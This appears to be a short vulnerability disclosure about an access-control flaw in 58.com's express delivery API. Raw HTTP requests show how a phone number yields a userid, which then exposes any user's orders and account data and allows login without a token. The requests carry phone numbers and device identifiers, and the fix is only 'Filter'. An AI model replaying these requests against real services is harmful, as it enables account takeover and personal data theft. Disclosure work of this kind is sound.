58. A design defect in express delivery results in arbitrary user login (Registration and unregistered user/Arbitrary user order/account information leakage)

58. A design defect in express delivery results in arbitrary user login (Registration and unregistered user/Arbitrary user order/account information leakage)

First, let's look at a defect and see what impact it will cause. First, the user's username and userid will be returned through the user's mobile phone number, that is, username. username and userid will be used for user login, view User Account Information/order information
 

GET /api/guest/mobile/bind?type=5&uid=&mobile=13184390431&r=0.2850908009537293&cityid=&realcityid= HTTP/1.1Connection: closecookie: nulli: 1c: 3cce331aa4ac07fe2e0b5200cedc24cdimei: 864587025424723version: 3.3Host: suyun.58.comUser-Agent: 58suyunandroid3.3Cookie: id58=05dz8VXnikeFsjGnJPBfAg==Cookie2: $Version=1Accept-Encoding: gzip,deflatemobile_version: 4.3mobile_board: A0001

View order records of any user:
 

POST /api/guest/order/list HTTP/1.1cookie: nullversion: 3.3imei: 864587025424723i: 1c: 2a45cfd2657535aed158fecdbf3107d2Content-Length: 102Content-Type: application/x-www-form-urlencodedHost: suyun.58.comConnection: Keep-AliveUser-Agent: 58suyunandroid3.3Cookie: id58=05dz8VXnikeFsjGnJPBfAg==Cookie2: $Version=1Accept-Encoding: gzip,deflatemobile_version: 4.3mobile_board: A0001uid=628450255477809152&pagesize=10&page=1&mobile=13184390435&r=0.21973828516671368&cityid=&realcityid=

Let's take a look at the request for getting account information:
 

POST /api/guest/getaccountinfo HTTP/1.1cookie: nullversion: 3.3imei: 864587025424723i: 1c: ece60d48edd9805e9ce08cc28da70aafContent-Length: 81Content-Type: application/x-www-form-urlencodedHost: suyun.58.comConnection: closeUser-Agent: 58suyunandroid3.3Cookie: id58=05dz8VXnikeFsjGnJPBfAg==Cookie2: $Version=1Accept-Encoding: gzip,deflatemobile_version: 4.3mobile_board: A0001uid=633887946189185024&mobile=13184398564&r=0.670826055533804&cityid=&realcityid=

Finally, let's take a look at the login request and see what's returned.
 

GET /passport/ps/login.do?rc3CsyJHPpClsXvaxr+i6xIPXPOUcxJgaQaRa8qjD8jEfuo5+bm6yuaA5UUzoBsY HTTP/1.1Connection: closecookie: nullHost: daojia.58.comUser-Agent: 58suyunandroid3.3Cookie: id58=05dz8VXnikeFsjGnJPBfAg==Cookie2: $Version=1Accept-Encoding: gzip,deflatemobile_version: 4.3mobile_board: A0001

There is no counterfeit content such as token, and there is only userid, And the userid of all registered/unregistered users can be obtained before, which means that you can log on to any user, including current users and potential users.
 

Solution:

Filter